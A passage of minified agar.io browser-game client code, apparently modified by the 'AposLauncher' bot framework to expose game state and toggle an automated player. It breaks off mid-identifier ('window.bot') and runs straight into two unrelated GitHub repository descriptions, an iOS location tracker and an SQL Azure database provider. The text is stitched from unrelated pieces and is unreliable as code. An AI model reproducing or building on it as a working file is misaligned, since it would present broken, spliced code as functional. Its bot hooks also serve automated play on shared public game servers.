currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["Vilhena"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.bot
aallan / IPhone TrackerThis iOS application uses iOS 4.x Significant Location Change API to log your location to an SQLite file which you can then export via email. There are no outbound network connections and your location is never sent anywhere, just stored in the DB.
MRCollective / ReliableDbProviderProvides a Db Provider Factory that uses the Microsoft Transient Fault Handling library to allow for reliable SQL Azure connections when using Entity Framework 4, Entity Framework 5 or Linq 2 SQL.